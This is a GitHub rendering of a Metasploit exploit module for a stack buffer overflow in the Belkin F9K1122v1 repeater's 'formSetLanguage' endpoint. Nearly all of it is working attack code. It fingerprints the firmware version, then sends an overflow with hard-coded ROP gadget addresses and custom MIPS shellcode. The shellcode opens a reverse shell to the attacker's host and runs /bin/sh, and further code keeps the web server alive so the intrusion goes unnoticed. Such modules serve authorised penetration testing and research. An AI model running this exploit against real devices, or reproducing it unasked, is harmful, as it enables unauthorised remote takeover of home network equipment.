Permalink
Cannot retrieve contributors at this time
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
183 lines (160 sloc)
7.73 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## | |
# This module requires Metasploit: https://metasploit.com/download | |
# Current source: https://github.com/rapid7/metasploit-framework | |
## | |
class MetasploitModule < Msf::Exploit::Remote | |
Rank = NormalRanking | |
include Msf::Exploit::Remote::HttpClient | |
def initialize(info = {}) | |
super(update_info(info, | |
'Name' => 'Belkin F9K1122v1 "formSetLanguage" Stack-Based Buffer Overflow', | |
'Description' => %q{ | |
This module exploits an anonymous remote code execution vulnerability within the Belkin F9K1221v1 repeater. | |
The vulnerability is due to a failure to check the length of the HTTP POST argument 'webpage' before copying | |
it into a static stack based buffer of 100 bytes via sprintf() as a string based argument (%s). | |
}, | |
'Author' => | |
[ | |
'b1ack0wl' # vuln discovery + exploit developer | |
], | |
'License' => MSF_LICENSE, | |
'Platform' => 'linux', | |
'Arch' => ARCH_MIPSBE, | |
'References' => | |
[ | |
['URL', 'https://www.exploit-db.com/exploits/40332/'] # Original PoC before adding process continuation | |
], | |
'Privileged' => true, | |
'Payload' => | |
{ | |
'BadChars' => "\x00" | |
}, | |
'Targets' => | |
[ | |
[ 'Belkin F9K1122v1 - v1.00.30', | |
{ | |
'Offset' => 103, | |
'Sleep' => 0x2aaf2c80, | |
'rop1' => 0x2aafc840, # move t9,s0; jalr t9; addiu a1,s1,4; beqz v0,0x2aafc88c; lw ra,36(sp); jr ra; addiu sp,sp,40 | |
'rop2' => 0x2aaf9808, # addiu a0,sp,24; lw ra,52(sp); jr ra | |
'rop3' => 0x2aaf97fc # move t9,a0; sw v0,24(sp); jalr t9; addiu a0,sp,24 | |
} | |
] | |
], | |
'DisclosureDate' => 'September 4 2016', | |
'DefaultTarget' => 0)) | |
end | |
def check | |
begin | |
res = send_request_cgi({ | |
'uri' => "/index2.asp", | |
'method' => 'GET' | |
}) | |
if res and res.code == 200 and res.body =~ /F9K1122v1/ and res.body =~ /1\.00\.30 \(2015\.05\.19\)/ | |
return Exploit::CheckCode::Vulnerable | |
end | |
rescue ::Rex::ConnectionError | |
return Exploit::CheckCode::Unknown | |
end | |
return Exploit::CheckCode::Safe | |
end | |
def exploit | |
@my_target = target | |
check_code = check | |
unless check_code == Exploit::CheckCode::Vulnerable | |
fail_with(Failure::NoTarget, "#{peer} - Failed to access the vulnerable URL") | |
end | |
print_status("Exploiting #{@my_target.name}...") | |
print_status("Note: There's about a 10 second delay before commands start executing.") | |
lhost_lport = "#{datastore['LHOST']}:#{datastore['LPORT']}" | |
### Custom Shellcode ### | |
### Metasploit Note: Use 'shell_reverse_tcp' as the payload listener | |
## Create stack frame for shellcode | |
## The offset is arbitrary and -0x0504 was chosen by random. | |
shellcode = [0x27bdfafc].pack("N") # addiu sp, sp, -0x0504 | |
## $t7 = 0x00404810 (PTR to _ftext; manually found on the stack) | |
## Used to call functions within webs. | |
shellcode << [0x8faf0698].pack("N") # lw t7, 1688(sp) (0x504+0x194) | |
## Call 0x00411300(str) | |
## This function takes the string "ip:addr" and connects back to it. It then returns the socket fd | |
shellcode << [0x3508CAF0].pack("N") # ori t0, t0, 0xCAF0 | |
shellcode << [0x01e8c821].pack("N") # addu t9, t7, t0 | |
shellcode << [0x3908CAF0].pack("N") # xori t0,t0, 0xCDF0 | |
shellcode << [0x0320f809].pack("N") # jalr ra, t9 | |
shellcode << [0x27a405ac].pack("N") # addiu a0, sp, 0x5ac # ptr to lhost:lport | |
## Store Socket fd onto stack and then load it into a0 for the dup2() loop | |
shellcode << [0xafa20104].pack("N") # sw v0, 0x0104(sp) | |
shellcode << [0x8fa40104].pack("N") # lw a0, 0x0104(sp) | |
## dup2(a0,a1) for 0,1,2 | |
## Begin: 'addiu a1, a1, 0x1005'; 'addiu a1, a1, -0x1002' a1 == 3 | |
## Delay slot: 'addiu a1,a1,-1' | |
## call dup2() @ 0x2AAD5EF0 | |
## bne a1,t0, -7 instructions (t0 == 0) | |
shellcode << [0x25051005].pack("N") # addiu a1, t0, 0x1005 | |
shellcode << [0x24a5effe].pack("N") # addiu a1, a1, -0x1002 # a1 = 3 | |
shellcode << [0x3c192aad].pack("N") # lui t9, 0x2AAD | |
shellcode << [0x37395ef0].pack("N") # ori t9, t9, 0x5EF0 | |
shellcode << [0x0320f809].pack("N") # jalr ra, t9 # dup2() | |
shellcode << [0x24a5ffff].pack("N") # addiu a1, a1, -1 | |
shellcode << [0x14A0FFFD].pack("N") # bnez a1, -8 (-2 instructions) | |
shellcode << [0x3c104141].pack("N") # [nop] lui s0, 0x4141 | |
## call system('/bin/sh') @ 0x2AAF0810 | |
## a0 == /bin/sh @ 0x2AAFF3D0 | |
shellcode << [0x3c042AAF].pack("N") # lui a0, 0x2AAF | |
shellcode << [0x3c192AAF].pack("N") # lui t9, 0x2AAF | |
shellcode << [0x37390810].pack("N") # ori t9, t9, 0x5FB0 # system | |
shellcode << [0x0320f809].pack("N") # jalr ra, t9 | |
shellcode << [0x3484F3D0].pack("N") # ori a0, a0, 0xF3D0 # /bin/sh | |
## Move stack back | |
## Must be the same value used before, but negated (0x0504) | |
shellcode << [0x27bd0504].pack("N") # addiu sp, sp, 0x0504 | |
### Process Continuation ### | |
## Zero out global vars "request_ready" and "total_connections" | |
## $t0 == 0x00000000 | |
continutation = [0xaee83340].pack("N") # sw t0, 0x3340(s7) request_ready | |
continutation << [0xaee83360].pack("N") # sw t0, 0x3360(s7) total_connections | |
## Execute Shellcode | |
continutation << shellcode | |
## Make a0 = 3 ($s5 == 2); 3 == socket fd for web server | |
## Make a0 = 0x00000003 which is the socket fd for web server ($s5 = 0x00000002) | |
continutation << [0x02a0c020].pack("N") # move t8, s5 | |
continutation << [0x2704effe].pack("N") # addiu a0, t8, -0x1002 | |
continutation << [0x24841003].pack("N") # addiu a0, a0, 0x1003 | |
## Copy Stack with an offset of 596(0x0254) into t8 because of NULL bytes. | |
## lw and sw use a WORD for the operand which means the offset used for lw/sw must be above 0x0101 in order to avoid NULL bytes. | |
continutation << [0x27b80254].pack("N") # addiu, t8, sp, 596 (0x0254) | |
## Load $t7 to 0x00404810 (PTR to _ftext; manually found on the stack via gdb) | |
continutation << [0x8faf0194].pack("N") # lw t7, 404(sp) | |
## adjust stack back to loop() | |
continutation << [0x271dfdec].pack("N") # addiu sp, t8, -0x0214 | |
## return back to loop() at offset 0x0041158C (when GP is loaded and saved) | |
continutation << [0x3508CD7C].pack("N") # ori t0, t0, 0xCD7C | |
continutation << [0x01e8c821].pack("N") # addu t9, t7, t0 | |
continutation << [0x0320f809].pack("N") # jalr ra, t9 | |
continutation << [0x3908CD7C].pack("N") # xori t0,t0, 0xCD7C | |
## Attach "lhost:lport" for function 0x00411300() | |
continutation << lhost_lport | |
## Craft the overflow and trigger the vuln | |
overflow = rand_text_alpha_upper(@my_target['Offset']) # Padding | |
overflow << [@my_target['Sleep']].pack("N") # $s0 | |
overflow << rand_text_alpha_upper(4) # $s1 | |
overflow << [@my_target['rop1']].pack("N") # $ra -> rop1 | |
overflow << rand_text_alpha_upper(9*4) # Padding | |
overflow << [@my_target['rop2']].pack("N") # $ra -> rop2 | |
overflow << [0x2739e8b8].pack("N") * 13 # lame NOP sled | |
overflow << [@my_target['rop3']].pack("N") # $ra -> rop3 (points to lame NOP sled && this ptr decodes to the instruction 'slti t7, s5, -0x6804') | |
overflow << [0x2739e8b8].pack("N") * 7 # lame NOP sled v2 | |
overflow << continutation | |
begin | |
res = send_request_cgi({ | |
'method' => 'POST', | |
'uri' => "/goform/formSetLanguage", | |
'vars_post' => { | |
'webpage' => overflow | |
} | |
}) | |
rescue ::Rex::ConnectionError | |
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") | |
end | |
end | |
end |